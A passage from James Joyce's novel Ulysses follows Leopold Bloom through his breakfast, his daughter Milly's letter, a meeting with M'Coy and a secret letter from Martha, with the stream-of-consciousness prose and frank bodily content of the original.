earth as it is in heaven. + +A cloud began to cover the sun slowly, wholly. Grey. Far. + +No, not like that. A barren land, bare waste. Vulcanic lake, the dead +sea: no fish, weedless, sunk deep in the earth. No wind could lift those +waves, grey metal, poisonous foggy waters. Brimstone they called it +raining down: the cities of the plain: Sodom, Gomorrah, Edom. All dead +names. A dead sea in a dead land, grey and old. Old now. It bore the +oldest, the first race. A bent hag crossed from Cassidy's, clutching a +naggin bottle by the neck. The oldest people. Wandered far away over all +the earth, captivity to captivity, multiplying, dying, being born +everywhere. It lay there now. Now it could bear no more. Dead: an old +woman's: the grey sunken cunt of the world. + +Desolation. + +Grey horror seared his flesh. Folding the page into his pocket he turned +into Eccles street, hurrying homeward. Cold oils slid along his veins, +chilling his blood: age crusting him with a salt cloak. Well, I am here +now. Yes, I am here now. Morning mouth bad images. Got up wrong side of +the bed. Must begin again those Sandow's exercises. On the hands down. +Blotchy brown brick houses. Number eighty still unlet. Why is that? +Valuation is only twenty-eight. Towers, Battersby, North, MacArthur: +parlour windows plastered with bills. Plasters on a sore eye. To smell +the gentle smoke of tea, fume of the pan, sizzling butter. Be near her +ample bedwarmed flesh. Yes, yes. + +Quick warm sunlight came running from Berkeley road, swiftly, in slim +sandals, along the brightening footpath. Runs, she runs to meet me, a +girl with gold hair on the wind. + +Two letters and a card lay on the hallfloor. He stooped and gathered +them. Mrs Marion Bloom. His quickened heart slowed at once. Bold hand. +Mrs Marion. + +--Poldy! + +Entering the bedroom he halfclosed his eyes and walked through warm +yellow twilight towards her tousled head. + +--Who are the letters for? + +He looked at them. Mullingar. Milly. + +--A letter for me from Milly, he said carefully, and a card to you. And a +letter for you. + +He laid her card and letter on the twill bedspread near the curve of her +knees. + +--Do you want the blind up? + +Letting the blind up by gentle tugs halfway his backward eye saw her +glance at the letter and tuck it under her pillow. + +--That do? he asked, turning. + +She was reading the card, propped on her elbow. + +--She got the things, she said. + +He waited till she had laid the card aside and curled herself back slowly +with a snug sigh. + +--Hurry up with that tea, she said. I'm parched. + +--The kettle is boiling, he said. + +But he delayed to clear the chair: her striped petticoat, tossed soiled +linen: and lifted all in an armful on to the foot of the bed. + +As he went down the kitchen stairs she called: + +--Poldy! + +--What? + +--Scald the teapot. + +On the boil sure enough: a plume of steam from the spout. He scalded and +rinsed out the teapot and put in four full spoons of tea, tilting the +kettle then to let the water flow in. Having set it to draw he took off +the kettle, crushed the pan flat on the live coals and watched the lump +of butter slide and melt. While he unwrapped the kidney the cat mewed +hungrily against him. Give her too much meat she won't mouse. Say they +won't eat pork. Kosher. Here. He let the bloodsmeared paper fall to her +and dropped the kidney amid the sizzling butter sauce. Pepper. He +sprinkled it through his fingers ringwise from the chipped eggcup. + +Then he slit open his letter, glancing down the page and over. Thanks: +new tam: Mr Coghlan: lough Owel picnic: young student: Blazes Boylan's +seaside girls. + +The tea was drawn. He filled his own moustachecup, sham crown + +Derby, smiling. Silly Milly's birthday gift. Only five she was then. No, +wait: four. I gave her the amberoid necklace she broke. Putting pieces of +folded brown paper in the letterbox for her. He smiled, pouring. + + + O, MILLY BLOOM, YOU ARE MY DARLING. + YOU ARE MY LOOKINGGLASS FROM NIGHT TO MORNING. + I'D RATHER HAVE YOU WITHOUT A FARTHING + THAN KATEY KEOGH WITH HER ASS AND GARDEN. + + +Poor old professor Goodwin. Dreadful old case. Still he was a courteous +old chap. Oldfashioned way he used to bow Molly off the platform. And the +little mirror in his silk hat. The night Milly brought it into the +parlour. O, look what I found in professor Goodwin's hat! All we laughed. +Sex breaking out even then. Pert little piece she was. + +He prodded a fork into the kidney and slapped it over: then fitted the +teapot on the tray. Its hump bumped as he took it up. Everything on it? +Bread and butter, four, sugar, spoon, her cream. Yes. He carried it +upstairs, his thumb hooked in the teapot handle. + +Nudging the door open with his knee he carried the tray in and set it on +the chair by the bedhead. + +--What a time you were! she said. + +She set the brasses jingling as she raised herself briskly, an elbow on +the pillow. He looked calmly down on her bulk and between her large soft +bubs, sloping within her nightdress like a shegoat's udder. The warmth of +her couched body rose on the air, mingling with the fragrance of the tea +she poured. + +A strip of torn envelope peeped from under the dimpled pillow. In the act +of going he stayed to straighten the bedspread. + +--Who was the letter from? he asked. + +Bold hand. Marion. + +--O, Boylan, she said. He's bringing the programme. + +--What are you singing? + +--LA CI DAREM with J. C. Doyle, she said, and LOVE'S OLD SWEET SONG. + +Her full lips, drinking, smiled. Rather stale smell that incense leaves +next day. Like foul flowerwater. + +--Would you like the window open a little? + +She doubled a slice of bread into her mouth, asking: + +--What time is the funeral? + +--Eleven, I think, he answered. I didn't see the paper. + +Following the pointing of her finger he took up a leg of her soiled +drawers from the bed. No? Then, a twisted grey garter looped round a +stocking: rumpled, shiny sole. + +--No: that book. + +Other stocking. Her petticoat. + +--It must have fell down, she said. + +He felt here and there. VOGLIO E NON VORREI. Wonder if she pronounces +that right: VOGLIO. Not in the bed. Must have slid down. He stooped and +lifted the valance. The book, fallen, sprawled against the bulge of the +orangekeyed chamberpot. + +--Show here, she said. I put a mark in it. There's a word I wanted to ask +you. + +She swallowed a draught of tea from her cup held by nothandle and, having +wiped her fingertips smartly on the blanket, began to search the text +with the hairpin till she reached the word. + +--Met him what? he asked. + +--Here, she said. What does that mean? + +He leaned downward and read near her polished thumbnail. + +--Metempsychosis? + +--Yes. Who's he when he's at home? + +--Metempsychosis, he said, frowning. It's Greek: from the Greek. That +means the transmigration of souls. + +--O, rocks! she said. Tell us in plain words. + +He smiled, glancing askance at her mocking eyes. The same young eyes. The +first night after the charades. Dolphin's Barn. He turned over the +smudged pages. RUBY: THE PRIDE OF THE RING. Hello. Illustration. Fierce +Italian with carriagewhip. Must be Ruby pride of the on the floor naked. +Sheet kindly lent. THE MONSTER MAFFEI DESISTED AND FLUNG HIS VICTIM FROM +HIM WITH AN OATH. Cruelty behind it all. Doped animals. Trapeze at +Hengler's. Had to look the other way. Mob gaping. Break your neck and +we'll break our sides. Families of them. Bone them young so they +metamspychosis. That we live after death. Our souls. That a man's soul +after he dies. Dignam's soul ... + +--Did you finish it? he asked. + +--Yes, she said. There's nothing smutty in it. Is she in love with the +first fellow all the time? + +--Never read it. Do you want another? + +--Yes. Get another of Paul de Kock's. Nice name he has. + +She poured more tea into her cup, watching it flow sideways. + +Must get that Capel street library book renewed or they'll write to +Kearney, my guarantor. Reincarnation: that's the word. + +--Some people believe, he said, that we go on living in another body +after death, that we lived before. They call it reincarnation. That we +all lived before on the earth thousands of years ago or some other +planet. They say we have forgotten it. Some say they remember their past +lives. + +The sluggish cream wound curdling spirals through her tea. Bette remind +her of the word: metempsychosis. An example would be better. An example? + +The BATH OF THE NYMPH over the bed. Given away with the Easter number of +PHOTO BITS: Splendid masterpiece in art colours. Tea before you put milk +in. Not unlike her with her hair down: slimmer. Three and six I gave for +the frame. She said it would look nice over the bed. Naked nymphs: +Greece: and for instance all the people that lived then. + +He turned the pages back. + +--Metempsychosis, he said, is what the ancient Greeks called it. They +used to believe you could be changed into an animal or a tree, for +instance. What they called nymphs, for example. + +Her spoon ceased to stir up the sugar. She gazed straight before her, +inhaling through her arched nostrils. + +--There's a smell of burn, she said. Did you leave anything on the fire? + +--The kidney! he cried suddenly. + +He fitted the book roughly into his inner pocket and, stubbing his toes +against the broken commode, hurried out towards the smell, stepping +hastily down the stairs with a flurried stork's legs. Pungent smoke shot +up in an angry jet from a side of the pan. By prodding a prong of the +fork under the kidney he detached it and turned it turtle on its back. +Only a little burnt. He tossed it off the pan on to a plate and let the +scanty brown gravy trickle over it. + +Cup of tea now. He sat down, cut and buttered a slice of the loaf. He +shore away the burnt flesh and flung it to the cat. Then he put a forkful +into his mouth, chewing with discernment the toothsome pliant meat. Done +to a turn. A mouthful of tea. Then he cut away dies of bread, sopped one +in the gravy and put it in his mouth. What was that about some young +student and a picnic? He creased out the letter at his side, reading it +slowly as he chewed, sopping another die of bread in the gravy and +raising it to his mouth. + + + Dearest Papli + +Thanks ever so much for the lovely birthday present. It suits me +splendid. Everyone says I am quite the belle in my new tam. I got mummy's +Iovely box of creams and am writing. They are lovely. I am getting on +swimming in the photo business now. Mr Coghlan took one of me and Mrs. +Will send when developed. We did great biz yesterday. Fair day and all +the beef to the heels were in. We are going to lough Owel on Monday with +a few friends to make a scrap picnic. Give my love to mummy and to +yourself a big kiss and thanks. I hear them at the piano downstairs. +There is to be a concert in the Greville Arms on Saturday. There is a +young student comes here some evenings named Bannon his cousins or +something are big swells and he sings Boylan's (I was on the pop of +writing Blazes Boylan's) song about those seaside girls. Tell him silly +Milly sends my best respects. I must now close with fondest love + + +Your fond daughter, MILLY. + + +P. S. Excuse bad writing am in hurry. Byby. M. + + +Fifteen yesterday. Curious, fifteenth of the month too. Her first +birthday away from home. Separation. Remember the summer morning she was +born, running to knock up Mrs Thornton in Denzille street. Jolly old +woman. Lot of babies she must have helped into the world. She knew from +the first poor little Rudy wouldn't live. Well, God is good, sir. She +knew at once. He would be eleven now if he had lived. + +His vacant face stared pityingly at the postscript. Excuse bad writing. +Hurry. Piano downstairs. Coming out of her shell. Row with her in the XL +Cafe about the bracelet. Wouldn't eat her cakes or speak or look. +Saucebox. He sopped other dies of bread in the gravy and ate piece after +piece of kidney. Twelve and six a week. Not much. Still, she might do +worse. Music hall stage. Young student. He drank a draught of cooler tea +to wash down his meal. Then he read the letter again: twice. + +O, well: she knows how to mind herself. But if not? No, nothing has +happened. Of course it might. Wait in any case till it does. A wild piece +of goods. Her slim legs running up the staircase. Destiny. Ripening now. + +Vain: very. + +He smiled with troubled affection at the kitchen window. Day I caught her +in the street pinching her cheeks to make them red. Anemic a little. Was +given milk too long. On the ERIN'S KING that day round the Kish. Damned +old tub pitching about. Not a bit funky. Her pale blue scarf loose in the +wind with her hair. + + + ALL DIMPLED CHEEKS AND CURLS, + YOUR HEAD IT SIMPLY SWIRLS. + + +Seaside girls. Torn envelope. Hands stuck in his trousers' pockets, +jarvey off for the day, singing. Friend of the family. Swurls, he says. +Pier with lamps, summer evening, band, + + + THOSE GIRLS, THOSE GIRLS, + THOSE LOVELY SEASIDE GIRLS. + + +Milly too. Young kisses: the first. Far away now past. Mrs Marion. +Reading, lying back now, counting the strands of her hair, smiling, +braiding. + +A soft qualm, regret, flowed down his backbone, increasing. Will happen, +yes. Prevent. Useless: can't move. Girl's sweet light lips. Will happen +too. He felt the flowing qualm spread over him. Useless to move now. Lips +kissed, kissing, kissed. Full gluey woman's lips. + +Better where she is down there: away. Occupy her. Wanted a dog to pass +the time. Might take a trip down there. August bank holiday, only two and +six return. Six weeks off, however. Might work a press pass. Or through +M'Coy. + +The cat, having cleaned all her fur, returned to the meatstained paper, +nosed at it and stalked to the door. She looked back at him, mewing. +Wants to go out. Wait before a door sometime it will open. Let her wait. +Has the fidgets. Electric. Thunder in the air. Was washing at her ear +with her back to the fire too. + +He felt heavy, full: then a gentle loosening of his bowels. He stood up, +undoing the waistband of his trousers. The cat mewed to him. + +--Miaow! he said in answer. Wait till I'm ready. + +Heaviness: hot day coming. Too much trouble to fag up the stairs to the +landing. + +A paper. He liked to read at stool. Hope no ape comes knocking just as +I'm. + +In the tabledrawer he found an old number of TITBITS. He folded it under +his armpit, went to the door and opened it. The cat went up in soft +bounds. Ah, wanted to go upstairs, curl up in a ball on the bed. + +Listening, he heard her voice: + +--Come, come, pussy. Come. + +He went out through the backdoor into the garden: stood to listen towards +the next garden. No sound. Perhaps hanging clothes out to dry. The maid +was in the garden. Fine morning. + +He bent down to regard a lean file of spearmint growing by the wall. Make +a summerhouse here. Scarlet runners. Virginia creepers. Want to manure +the whole place over, scabby soil. A coat of liver of sulphur. All soil +like that without dung. Household slops. Loam, what is this that is? The +hens in the next garden: their droppings are very good top dressing. Best +of all though are the cattle, especially when they are fed on those +oilcakes. Mulch of dung. Best thing to clean ladies' kid gloves. Dirty +cleans. Ashes too. Reclaim the whole place. Grow peas in that corner +there. Lettuce. Always have fresh greens then. Still gardens have their +drawbacks. That bee or bluebottle here Whitmonday. + +He walked on. Where is my hat, by the way? Must have put it back on the +peg. Or hanging up on the floor. Funny I don't remember that. Hallstand +too full. Four umbrellas, her raincloak. Picking up the letters. Drago's +shopbell ringing. Queer I was just thinking that moment. Brown +brillantined hair over his collar. Just had a wash and brushup. Wonder +have I time for a bath this morning. Tara street. Chap in the paybox +there got away James Stephens, they say. O'Brien. + +Deep voice that fellow Dlugacz has. Agendath what is it? Now, my miss. +Enthusiast. + +He kicked open the crazy door of the jakes. Better be careful not to get +these trousers dirty for the funeral. He went in, bowing his head under +the low lintel. Leaving the door ajar, amid the stench of mouldy limewash +and stale cobwebs he undid his braces. Before sitting down he peered +through a chink up at the nextdoor windows. The king was in his +countinghouse. Nobody. + +Asquat on the cuckstool he folded out his paper, turning its pages over +on his bared knees. Something new and easy. No great hurry. Keep it a +bit. Our prize titbit: MATCHAM'S MASTERSTROKE. Written by Mr Philip +Beaufoy, Playgoers' Club, London. Payment at the rate of one guinea a +column has been made to the writer. Three and a half. Three pounds three. +Three pounds, thirteen and six. + +Quietly he read, restraining himself, the first column and, yielding but +resisting, began the second. Midway, his last resistance yielding, he +allowed his bowels to ease themselves quietly as he read, reading still +patiently that slight constipation of yesterday quite gone. Hope it's not +too big bring on piles again. No, just right. So. Ah! Costive. One +tabloid of cascara sagrada. Life might be so. It did not move or touch +him but it was something quick and neat. Print anything now. Silly +season. He read on, seated calm above his own rising smell. Neat +certainly. MATCHAM OFTEN THINKS OF THE MASTERSTROKE BY WHICH HE WON THE +LAUGHING WITCH WHO NOW. Begins and ends morally. HAND IN HAND. Smart. He +glanced back through what he had read and, while feeling his water flow +quietly, he envied kindly Mr Beaufoy who had written it and received +payment of three pounds, thirteen and six. + +Might manage a sketch. By Mr and Mrs L. M. Bloom. Invent a story for some +proverb. Which? Time I used to try jotting down on my cuff what she said +dressing. Dislike dressing together. Nicked myself shaving. Biting her +nether lip, hooking the placket of her skirt. Timing her. 9.l5. Did +Roberts pay you yet? 9.20. What had Gretta Conroy on? 9.23. What +possessed me to buy this comb? 9.24. I'm swelled after that cabbage. A +speck of dust on the patent leather of her boot. + +Rubbing smartly in turn each welt against her stockinged calf. Morning +after the bazaar dance when May's band played Ponchielli's dance of the +hours. Explain that: morning hours, noon, then evening coming on, then +night hours. Washing her teeth. That was the first night. Her head +dancing. Her fansticks clicking. Is that Boylan well off? He has money. +Why? I noticed he had a good rich smell off his breath dancing. No use +humming then. Allude to it. Strange kind of music that last night. The +mirror was in shadow. She rubbed her handglass briskly on her woollen +vest against her full wagging bub. Peering into it. Lines in her eyes. It +wouldn't pan out somehow. + +Evening hours, girls in grey gauze. Night hours then: black with daggers +and eyemasks. Poetical idea: pink, then golden, then grey, then black. +Still, true to life also. Day: then the night. + +He tore away half the prize story sharply and wiped himself with it. Then +he girded up his trousers, braced and buttoned himself. He pulled back +the jerky shaky door of the jakes and came forth from the gloom into the +air. + +In the bright light, lightened and cooled in limb, he eyed carefully his +black trousers: the ends, the knees, the houghs of the knees. What time +is the funeral? Better find out in the paper. + +A creak and a dark whirr in the air high up. The bells of George's +church. They tolled the hour: loud dark iron. + + + HEIGHO! HEIGHO! + HEIGHO! HEIGHO! + HEIGHO! HEIGHO! + + +Quarter to. There again: the overtone following through the air, a third. + +Poor Dignam! + + + * * * * * * * + + +By lorries along sir John Rogerson's quay Mr Bloom walked soberly, past +Windmill lane, Leask's the linseed crusher, the postal telegraph office. +Could have given that address too. And past the sailors' home. He turned +from the morning noises of the quayside and walked through Lime street. +By Brady's cottages a boy for the skins lolled, his bucket of offal +linked, smoking a chewed fagbutt. A smaller girl with scars of eczema on +her forehead eyed him, listlessly holding her battered caskhoop. Tell him +if he smokes he won't grow. O let him! His life isn't such a bed of +roses. Waiting outside pubs to bring da home. Come home to ma, da. Slack +hour: won't be many there. He crossed Townsend street, passed the +frowning face of Bethel. El, yes: house of: Aleph, Beth. And past +Nichols' the undertaker. At eleven it is. Time enough. Daresay Corny +Kelleher bagged the job for O'Neill's. Singing with his eyes shut. Corny. +Met her once in the park. In the dark. What a lark. Police tout. Her name +and address she then told with my tooraloom tooraloom tay. O, surely he +bagged it. Bury him cheap in a whatyoumaycall. With my tooraloom, +tooraloom, tooraloom, tooraloom. + +In Westland row he halted before the window of the Belfast and Oriental +Tea Company and read the legends of leadpapered packets: choice blend, +finest quality, family tea. Rather warm. Tea. Must get some from Tom +Kernan. Couldn't ask him at a funeral, though. While his eyes still read +blandly he took off his hat quietly inhaling his hairoil and sent his +right hand with slow grace over his brow and hair. Very warm morning. +Under their dropped lids his eyes found the tiny bow of the leather +headband inside his high grade ha. Just there. His right hand came down +into the bowl of his hat. His fingers found quickly a card behind the +headband and transferred it to his waistcoat pocket. + +So warm. His right hand once more more slowly went over his brow and +hair. Then he put on his hat again, relieved: and read again: choice +blend, made of the finest Ceylon brands. The far east. Lovely spot it +must be: the garden of the world, big lazy leaves to float about on, +cactuses, flowery meads, snaky lianas they call them. Wonder is it like +that. Those Cinghalese lobbing about in the sun in DOLCE FAR NIENTE, not +doing a hand's turn all day. Sleep six months out of twelve. Too hot to +quarrel. Influence of the climate. Lethargy. Flowers of idleness. The air +feeds most. Azotes. Hothouse in Botanic gardens. Sensitive plants. +Waterlilies. Petals too tired to. Sleeping sickness in the air. Walk on +roseleaves. Imagine trying to eat tripe and cowheel. Where was the chap I +saw in that picture somewhere? Ah yes, in the dead sea floating on his +back, reading a book with a parasol open. Couldn't sink if you tried: so +thick with salt. Because the weight of the water, no, the weight of the +body in the water is equal to the weight of the what? Or is it the volume +is equal to the weight? It's a law something like that. Vance in High +school cracking his fingerjoints, teaching. The college curriculum. +Cracking curriculum. What is weight really when you say the weight? +Thirtytwo feet per second per second. Law of falling bodies: per second +per second. They all fall to the ground. The earth. It's the force of +gravity of the earth is the weight. + +He turned away and sauntered across the road. How did she walk with her +sausages? Like that something. As he walked he took the folded FREEMAN +from his sidepocket, unfolded it, rolled it lengthwise in a baton and +tapped it at each sauntering step against his trouserleg. Careless air: +just drop in to see. Per second per second. Per second for every second +it means. From the curbstone he darted a keen glance through the door of +the postoffice. Too late box. Post here. No-one. In. + +He handed the card through the brass grill. + +--Are there any letters for me? he asked. + +While the postmistress searched a pigeonhole he gazed at the recruiting +poster with soldiers of all arms on parade: and held the tip of his baton +against his nostrils, smelling freshprinted rag paper. No answer +probably. Went too far last time. + +The postmistress handed him back through the grill his card with a +letter. He thanked her and glanced rapidly at the typed envelope. + + +Henry Flower Esq, +c/o P. O. Westland Row, +City. + + +Answered anyhow. He slipped card and letter into his sidepocket, +reviewing again the soldiers on parade. Where's old Tweedy's regiment? +Castoff soldier. There: bearskin cap and hackle plume. No, he's a +grenadier. Pointed cuffs. There he is: royal Dublin fusiliers. Redcoats. +Too showy. That must be why the women go after them. Uniform. Easier to +enlist and drill. Maud Gonne's letter about taking them off O'Connell +street at night: disgrace to our Irish capital. Griffith's paper is on +the same tack now: an army rotten with venereal disease: overseas or +halfseasover empire. Half baked they look: hypnotised like. Eyes front. +Mark time. Table: able. Bed: ed. The King's own. Never see him dressed up +as a fireman or a bobby. A mason, yes. + +He strolled out of the postoffice and turned to the right. Talk: as if +that would mend matters. His hand went into his pocket and a forefinger +felt its way under the flap of the envelope, ripping it open in jerks. +Women will pay a lot of heed, I don't think. His fingers drew forth the +letter the letter and crumpled the envelope in his pocket. Something +pinned on: photo perhaps. Hair? No. + +M'Coy. Get rid of him quickly. Take me out of my way. Hate company when +you. + +--Hello, Bloom. Where are you off to? + +--Hello, M'Coy. Nowhere in particular. + +--How's the body? + +--Fine. How are you? + +--Just keeping alive, M'Coy said. + +His eyes on the black tie and clothes he asked with low respect: + +--Is there any ... no trouble I hope? I see you're ... + +--O, no, Mr Bloom said. Poor Dignam, you know. The funeral is today. + +--To be sure, poor fellow. So it is. What time? + +A photo it isn't. A badge maybe. + +--E ... eleven, Mr Bloom answered. + +--I must try to get out there, M'Coy said. Eleven, is it? I only heard it +last night. Who was telling me? Holohan. You know Hoppy? + +--I know. + +Mr Bloom gazed across the road at the outsider drawn up before the door +of the Grosvenor. The porter hoisted the valise up on the well. She stood +still, waiting, while the man, husband, brother, like her, searched his +pockets for change. Stylish kind of coat with that roll collar, warm for +a day like this, looks like blanketcloth. Careless stand of her with her +hands in those patch pockets. Like that haughty creature at the polo +match. Women all for caste till you touch the spot. Handsome is and +handsome does. Reserved about to yield. The honourable Mrs and Brutus is +an honourable man. Possess her once take the starch out of her. + +--I was with Bob Doran, he's on one of his periodical bends, and what do +you call him Bantam Lyons. Just down there in Conway's we were. + +Doran Lyons in Conway's. She raised a gloved hand to her hair. In came +Hoppy. Having a wet. Drawing back his head and gazing far from beneath +his vailed eyelids he saw the bright fawn skin shine in the glare, the +braided drums. Clearly I can see today. Moisture about gives long sight +perhaps. Talking of one thing or another. Lady's hand. Which side will +she get up? + +--And he said: SAD THING ABOUT OUR POOR FRIEND PADDY! WHAT PADDY? I said. +POOR LITTLE PADDY DIGNAM, he said. + +Off to the country: Broadstone probably. High brown boots with laces +dangling. Wellturned foot. What is he foostering over that change for? +Sees me looking. Eye out for other fellow always. Good fallback. Two +strings to her bow. + +--WHY? I said. WHAT'S WRONG WITH HIM? I said. + +Proud: rich: silk stockings. + +--Yes, Mr Bloom said. + +He moved a little to the side of M'Coy's talking head. Getting up in a +minute. + +--WHAT'S WRONG WITH HIM? He said. HE'S DEAD, he said. And, faith, he +filled up. IS IT PADDY DIGNAM? I said. I couldn't believe it when I heard +it. I was with him no later than Friday last or Thursday was it in the +Arch. YES, he said. HE'S GONE. HE DIED ON MONDAY, POOR FELLOW. Watch! +Watch! Silk flash rich stockings white. Watch! + +A heavy tramcar honking its gong slewed between. + +Lost it. Curse your noisy pugnose. Feels locked out of it. Paradise and +the peri. Always happening like that. The very moment. Girl in Eustace +street hallway Monday was it settling her garter. Her friend covering the +display of. ESPRIT DE CORPS. Well, what are you gaping at? + +--Yes, yes, Mr Bloom said after a dull sigh. Another gone. + +--One of the best, M'Coy said. + +The tram passed. They drove off towards the Loop Line bridge, her rich +gloved hand on the steel grip. Flicker, flicker: the laceflare of her hat +in the sun: flicker, flick. + +--Wife well, I suppose? M'Coy's changed voice said. + +--O, yes, Mr Bloom said. Tiptop, thanks. + +He unrolled the newspaper baton idly and read idly: + + + WHAT IS HOME WITHOUT + PLUMTREE'S POTTED MEAT? + INCOMPLETE + WITH IT AN ABODE OF BLISS. + + +--My missus has just got an engagement. At least it's not settled yet. + +Valise tack again. By the way no harm. I'm off that, thanks. + +Mr Bloom turned his largelidded eyes with unhasty friendliness. + +--My wife too, he said. She's going to sing at a swagger affair in the +Ulster Hall, Belfast, on the twenty-fifth. + +--That so? M'Coy said. Glad to hear that, old man. Who's getting it up? + +Mrs Marion Bloom. Not up yet. Queen was in her bedroom eating bread and. +No book. Blackened court cards laid along her thigh by sevens. Dark lady +and fair man. Letter. Cat furry black ball. Torn strip of envelope. + + + LOVE'S + OLD + SWEET + SONG + COMES LO-OVE'S OLD ... + + +--It's a kind of a tour, don't you see, Mr Bloom said thoughtfully. +SWEEEET SONG. There's a committee formed. Part shares and part profits. + +M'Coy nodded, picking at his moustache stubble. + +--O, well, he said. That's good news. + +He moved to go. + +--Well, glad to see you looking fit, he said. Meet you knocking around. + +--Yes, Mr Bloom said. + +--Tell you what, M'Coy said. You might put down my name at the funeral, +will you? I'd like to go but I mightn't be able, you see. There's a +drowning case at Sandycove may turn up and then the coroner and myself +would have to go down if the body is found. You just shove in my name if +I'm not there, will you? + +--I'll do that, Mr Bloom said, moving to get off. That'll be all right. + +--Right, M'Coy said brightly. Thanks, old man. I'd go if I possibly +could. Well, tolloll. Just C. P. M'Coy will do. + +--That will be done, Mr Bloom answered firmly. + +Didn't catch me napping that wheeze. The quick touch. Soft mark. I'd like +my job. Valise I have a particular fancy for. Leather. Capped corners, +rivetted edges, double action lever lock. Bob Cowley lent him his for the +Wicklow regatta concert last year and never heard tidings of it from that +good day to this. + +Mr Bloom, strolling towards Brunswick street, smiled. My missus has just +got an. Reedy freckled soprano. Cheeseparing nose. Nice enough in its +way: for a little ballad. No guts in it. You and me, don't you know: in +the same boat. Softsoaping. Give you the needle that would. Can't he hear +the difference? Think he's that way inclined a bit. Against my grain +somehow. Thought that Belfast would fetch him. I hope that smallpox up +there doesn't get worse. Suppose she wouldn't let herself be vaccinated +again. Your wife and my wife. + +Wonder is he pimping after me? + +Mr Bloom stood at the corner, his eyes wandering over the multicoloured +hoardings. Cantrell and Cochrane's Ginger Ale (Aromatic). Clery's Summer +Sale. No, he's going on straight. Hello. LEAH tonight. Mrs Bandmann +Palmer. Like to see her again in that. HAMLET she played last night. Male +impersonator. Perhaps he was a woman. Why Ophelia committed suicide. Poor +papa! How he used to talk of Kate Bateman in that. Outside the Adelphi in +London waited all the afternoon to get in. Year before I was born that +was: sixtyfive. And Ristori in Vienna. What is this the right name is? By +Mosenthal it is. Rachel, is it? No. The scene he was always talking about +where the old blind Abraham recognises the voice and puts his fingers on +his face. + +Nathan's voice! His son's voice! I hear the voice of Nathan who left his +father to die of grief and misery in my arms, who left the house of his +father and left the God of his father. + +Every word is so deep, Leopold. + +Poor papa! Poor man! I'm glad I didn't go into the room to look at his +face. That day! O, dear! O, dear! Ffoo! Well, perhaps it was best for +him. + +Mr Bloom went round the corner and passed the drooping nags of the +hazard. No use thinking of it any more. Nosebag time. Wish I hadn't met +that M'Coy fellow. + +He came nearer and heard a crunching of gilded oats, the gently champing +teeth. Their full buck eyes regarded him as he went by, amid the sweet +oaten reek of horsepiss. Their Eldorado. Poor jugginses! Damn all they +know or care about anything with their long noses stuck in nosebags. Too +full for words. Still they get their feed all right and their doss. +Gelded too: a stump of black guttapercha wagging limp between their +haunches. Might be happy all the same that way. Good poor brutes they +look. Still their neigh can be very irritating. + +He drew the letter from his pocket and folded it into the newspaper he +carried. Might just walk into her here. The lane is safer. + +He passed the cabman's shelter. Curious the life of drifting cabbies. All +weathers, all places, time or setdown, no will of their own. VOGLIO E +NON. Like to give them an odd cigarette. Sociable. Shout a few flying +syllables as they pass. He hummed: + + + LA CI DAREM LA MANO + LA LA LALA LA LA. + + +He turned into Cumberland street and, going on some paces, halted +in the lee of the station wall. No-one. Meade's timberyard. Piled balks. +Ruins and tenements. With careful tread he passed over a hopscotch court +with its forgotten pickeystone. Not a sinner. Near the timberyard a +squatted child at marbles, alone, shooting the taw with a cunnythumb. A +wise tabby, a blinking sphinx, watched from her warm sill. Pity to disturb +them. Mohammed cut a piece out of his mantle not to wake her. Open it. +And once I played marbles when I went to that old dame's school. She liked +mignonette. Mrs Ellis's. And Mr? He opened the letter within the +newspaper. + +A flower. I think it's a. A yellow flower with flattened petals. Not +annoyed then? What does she say? + + + Dear Henry + +I got your last letter to me and thank you very much for it. I am sorry +you did not like my last letter. Why did you enclose the stamps? I am +awfully angry with you. I do wish I could punish you for that. I called +you naughty boy because I do not like that other world. Please tell me +what is the real meaning of that word? Are you not happy in your home you +poor little naughty boy? I do wish I could do something for you. Please +tell me what you think of poor me. I often think of the beautiful name you +have. Dear Henry, when will we meet? I think of you so often you have no +idea. I have never felt myself so much drawn to a man as you. I feel so +bad about. Please write me a long letter and tell me more. Remember if you +do not I will punish you. So now you know what I will do to you, you +naughty boy, if you do not wrote. O how I long to meet you. Henry dear, do +not deny my request before my patience are exhausted. Then I will tell you +all. Goodbye now, naughty darling, I have such a bad headache. today. and +write BY RETURN to your longing + + + Martha + +P. S. Do tell me what kind of perfume does your wife use. I want to know. + + +He tore the flower gravely from its pinhold smelt its almost no smell +and placed it in his heart pocket. Language of flowers. They like it +because no-one can hear. Or a poison bouquet to strike him down. Then +walking slowly forward he read the letter again, murmuring here and there +a word. Angry tulips with you darling manflower punish your cactus if you +don't please poor forgetmenot how I long violets to dear roses when we +soon anemone meet all naughty nightstalk wife Martha's perfume. Having +read it all he took it from the newspaper and put it back in his +sidepocket. + +Weak joy opened his lips. Changed since the first letter. Wonder +did she wrote it herself. Doing the indignant: a girl of good +family like me, respectable character. Could meet one Sunday after the +rosary. Thank you: not having any. Usual love scrimmage. Then running +round corners. Bad as a row with Molly. Cigar has a cooling effect. +Narcotic. Go further next time. Naughty boy: punish: afraid of words, of +course. Brutal, why not? Try it anyhow. A bit at a time. + +Fingering still the letter in his pocket he drew the pin out of it. +Common pin, eh? He threw it on the road. Out of her clothes somewhere: +pinned together. Queer the number of pins they always have. No roses +without thorns. + +Flat Dublin voices bawled in his head. Those two sluts that night in +the Coombe, linked together in the rain. + + + O, MARY LOST THE PIN OF HER DRAWERS. + SHE DIDN'T KNOW WHAT TO DO + TO KEEP IT UP + TO KEEP IT UP. + + +It? Them. Such a bad headache. Has her roses probably. Or sitting all day +typing. Eyefocus bad for stomach nerves. What perfume does your wife +use. Now could you make out a thing like that? + + TO KEEP IT UP. + +Martha, Mary. I saw that picture somewhere I forget now old master or +faked for money. He is sitting in their house, talking. Mysterious. Also +the two sluts in the Coombe would listen. + + TO KEEP IT UP. + +Nice kind of evening feeling. No more wandering about. Just loll there: +quiet dusk: let everything rip. Forget. Tell about places you have been, +strange customs. The other one, jar on her head, was getting the supper: +fruit, olives, lovely cool water out of a well, stonecold like the hole in +the wall at Ashtown. Must carry a paper goblet next time I go to the +trottingmatches. She listens with big dark soft eyes. Tell her: more and +more: all. Then a sigh: silence. Long long long rest. + +Going under the railway arch he took out the envelope, tore it swiftly +in shreds and scattered them towards the road. The shreds fluttered away, +sank in the dank air: a white flutter, then all sank. + +Henry Flower. You could tear up a cheque for a hundred pounds in +the same way. Simple bit of paper. Lord Iveagh once cashed a sevenfigure +cheque for a million in the bank of Ireland. Shows you the money to be +made out of porter. Still the other brother lord Ardilaun has to change +his shirt four times a day, they say. Skin breeds lice or vermin. A +million pounds, wait 